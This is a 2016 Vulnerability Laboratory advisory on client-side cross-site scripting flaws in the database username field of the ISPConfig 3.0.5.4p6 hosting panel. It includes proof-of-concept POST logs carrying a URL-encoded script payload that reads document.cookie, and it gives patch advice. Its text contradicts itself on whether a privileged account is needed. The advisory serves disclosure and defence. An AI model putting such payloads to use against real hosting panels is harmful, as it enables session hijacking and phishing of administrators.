Document Title: =============== ISPconfig v3.0.5.4p6 - Input Validation Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1909 Release Date: ============= 2016-08-16 Vulnerability Laboratory ID (VL-ID): ==================================== 1909 Common Vulnerability Scoring System: ==================================== 3.1 Product & Service Introduction: =============================== ISPConfig 3 is an open-source server administration software for Linux and allows the management of one or more servers through a web-based front end. ISPConfig runs under the bsd open source license. (Copy of the Vendor Homepage: http://www.ispconfig.de/ispconfig-3/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple client-side input validation vulnerabilities in the ISPconfig v3.0.5.4 p6. Vulnerability Disclosure Timeline: ================================== 2016-08-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ISPConfig UG Product: ISPconfig - Hosting Service Panel (Web-Application) 3.0.5.4 p6 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple input validation web vulnerabilities has been uncovered in the official ISPconfig v3.0.5.4 p6 hosting panel web-application. The input validation vulnerability allows an attackers to inject own malicious script codes to the client-side of the vulnerable module. The input validation web vulnerability is located in the `database username` input field of the database user module. The form of the add POST method request is not secure parsed by the basic validation mechanism. Thus allows to inject script code payloads in the the edit form of the database user. The request method to inject is POST and the attack vector of the issue remains to the client-side of the service. The execute occurs on edit of the user profile credentials. The second execution point is located the exception-handling of the username invalid input. The exception-handling replies with the input of the invalid database username after an add was processed. The error exception issue is located to the client-side of the service and does not occur permanently. The security risk of the vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.1. Exploitation of the client-side vulnerabilities requires a privileged web-application user account and only low user interaction. Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external redirect to malicious sources and non-persistent manipulation of affected or connected web module context. Request Method(s): [+] POST Vulnerable Module(s): [+] ./sites/ Vulnerable File(s): [+] database_user_edit.php Affected Module(s): [+] Edit Formular [+] Invalid Exception-Handling Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation via Database_User PoC: Database_User Exploitation
PoC: (Execution) Database Users (Edit Formular)

c1

%>"
--- PoC Session Logs [POST] --- Status: 200[OK] POST http://ispconfig.localhost:8080/sites/database_user_edit.php Mime Type[text/html] Request Header: Host[ispconfig.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0] Referer[http://ispconfig.localhost:8080/index.php] Cookie[__cfduid=d94df75150c7b17ad6ba57ce9d44d51661471192388; PHPSESSID=o2e0dfu9h7h896m4sj3m4jg0j1] Connection[keep-alive] POST-Daten: client_group_id[2] database_user[%3E%22%3Cimg%3E%25%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)+%3C] database_password[] repeat_password[] id[] next_tab[] phpsessid[o2e0dfu9h7h896m4sj3m4jg0j1] Response Header: Server[Apache/2.2.0 (Fedora)] X-Powered-By[PHP/5.4.45-0+deb7u4] X-Mod-Pagespeed[1.9.32.14-0] Connection[Keep-Alive] Content-Type[text/html; charset=utf-8] - Status: 200[OK] GET http://ispconfig.localhost:8080/evil.source[EXECUTION OF SCRIPT CODE PAYLOAD!] Mime Type[text/html] Request Header: Host[ispconfig.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0] Referer[http://ispconfig.localhost:8080/index.php] Cookie[__cfduid=d94df75150c7b17ad6ba57ce9d44d51661471192388; PHPSESSID=o2e0dfu9h7h896m4sj3m4jg0j1] Connection[keep-alive] If-None-Match["55e1898-70e-48fe6cb2fcc40"] Response Header: Server[Apache/2.2.0 (Fedora)] Etag["55e1898-70e-48fe6cb2fcc40"] Connection[Keep-Alive] Content-Type[text/html] PoC: (Execution) Database Users (Database Username Exception-Handling)
  • Database username - c1>"%>" Invalid database user name. The username may contain these characters: a-z, A-Z, 0-9 and the underscore. Length: 2 - 64 characters.
  • --- Error Exception Logs --- Database username - c1>"%>"[SCRIPT CODE PAYLOAD!] - Invalid database user name. The username may contain these characters: a-z, A-Z, 0-9 and the underscore. Length: 2 - 64 characters. Reference(s): http://ispconfig.localhost:8080/ http://ispconfig.localhost:8080/index.php http://ispconfig.localhost:8080/sites/ http://ispconfig.localhost:8080/sites/database_user_edit.php Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse of the database username input field. Filter the input by disallowing the usage of special chars. Parse the exception-handlung and edit form output locations were the input executes permanently. Security Risk: ============== The security risk of the client-side input validation web vulnerabilities are estimated as medium. (CVSS 3.1) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™